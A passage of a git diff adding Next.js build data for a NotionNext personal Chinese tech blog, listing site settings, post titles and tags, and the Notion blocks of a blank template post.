16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-9.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-9.json
new file mode 100644
index 000000000..0392d10aa
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-9.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=463a12f0-d5d5-4492-bb0f-8058cea32a41&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"463a12f0-d5d5-4492-bb0f-8058cea32a41":{"value":{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","version":7,"type":"page","content":["a8c29bdc-907d-4d34-91e5-16cb41d364a8","0af78e74-0f6f-4835-9439-2011e6119213","7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","dce8171f-4f6b-4ed0-ba15-9768718c01fb","04356097-50ce-4d5e-bebf-cf7b41537fcd","b330bfba-4093-42e6-87c7-2b5459c9cf76","1fbd3e80-cdb5-4a08-bce3-ab338829afb3","fd545374-5d81-4a2d-ab21-2d4df214b9f0","ec9723c4-8b25-47e0-9df3-971848bbf522","46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","8624876d-b0bf-44d3-86a2-34e832f77ea9","f2398279-7337-415d-92de-ce76a1245c9f","d858f147-752b-4fd7-a931-6e270a7b7f98","468c0bd8-9b86-4390-973c-a9ba199aa3b8"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"55acf95f-e710-4600-b979-5b6b1ece731b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630806142,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"55acf95f-e710-4600-b979-5b6b1ece731b","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"a8c29bdc-907d-4d34-91e5-16cb41d364a8":{"value":{"id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["c794c243-598f-4d45-9354-33548953674a"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3d2082e-fe88-4bd1-9c34-add0fb59bee5"}},"c794c243-598f-4d45-9354-33548953674a":{"value":{"id":"c794c243-598f-4d45-9354-33548953674a","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"13d1f070-3c8a-45e5-b46a-5b9b18019537","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"a8c29bdc-907d-4d34-91e5-16cb41d364a8","parent_table":"block","alive":true,"copied_from":"13d1f070-3c8a-45e5-b46a-5b9b18019537"}},"0af78e74-0f6f-4835-9439-2011e6119213":{"value":{"id":"0af78e74-0f6f-4835-9439-2011e6119213","type":"text","format":{"copied_from_pointer":{"id":"c038bbc8-3331-4b1f-a45c-03e3e1442d50","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"c038bbc8-3331-4b1f-a45c-03e3e1442d50"}},"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e":{"value":{"id":"7ed33ddc-96f3-45fe-a1d8-1a1f638de98e","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"152176ec-1720-4cc0-adc0-a46d67f54874","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"152176ec-1720-4cc0-adc0-a46d67f54874"}},"dce8171f-4f6b-4ed0-ba15-9768718c01fb":{"value":{"id":"dce8171f-4f6b-4ed0-ba15-9768718c01fb","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"2c1e1d32-266e-4642-acb0-b1b1a3fb251c"}},"04356097-50ce-4d5e-bebf-cf7b41537fcd":{"value":{"id":"04356097-50ce-4d5e-bebf-cf7b41537fcd","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"a3154c14-02b8-42a5-9f8a-0d70d35d7296","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"a3154c14-02b8-42a5-9f8a-0d70d35d7296"}},"b330bfba-4093-42e6-87c7-2b5459c9cf76":{"value":{"id":"b330bfba-4093-42e6-87c7-2b5459c9cf76","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"04fea4f6-7b2c-40cc-96b7-06b0fb187ea6"}},"1fbd3e80-cdb5-4a08-bce3-ab338829afb3":{"value":{"id":"1fbd3e80-cdb5-4a08-bce3-ab338829afb3","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"e67738b8-c524-4008-a9cf-752ea580c5ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"e67738b8-c524-4008-a9cf-752ea580c5ff"}},"fd545374-5d81-4a2d-ab21-2d4df214b9f0":{"value":{"id":"fd545374-5d81-4a2d-ab21-2d4df214b9f0","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"63d4f8c1-d4ed-43cc-ac28-29eeeee8961c"}},"ec9723c4-8b25-47e0-9df3-971848bbf522":{"value":{"id":"ec9723c4-8b25-47e0-9df3-971848bbf522","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"559245c6-ddc7-47b1-af8d-45b7126cb7fb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337120,"last_edited_time":1705594337120,"parent_id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","parent_table":"block","alive":true,"copied_from":"559245c6-ddc7-47b1-af8d-45b7126cb7fb"}},"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8":{"value":{"id":"46fd514c-56fb-49d6-9b5c-a471a2f1b4a8","type":"header","properties":{"title":[["📎 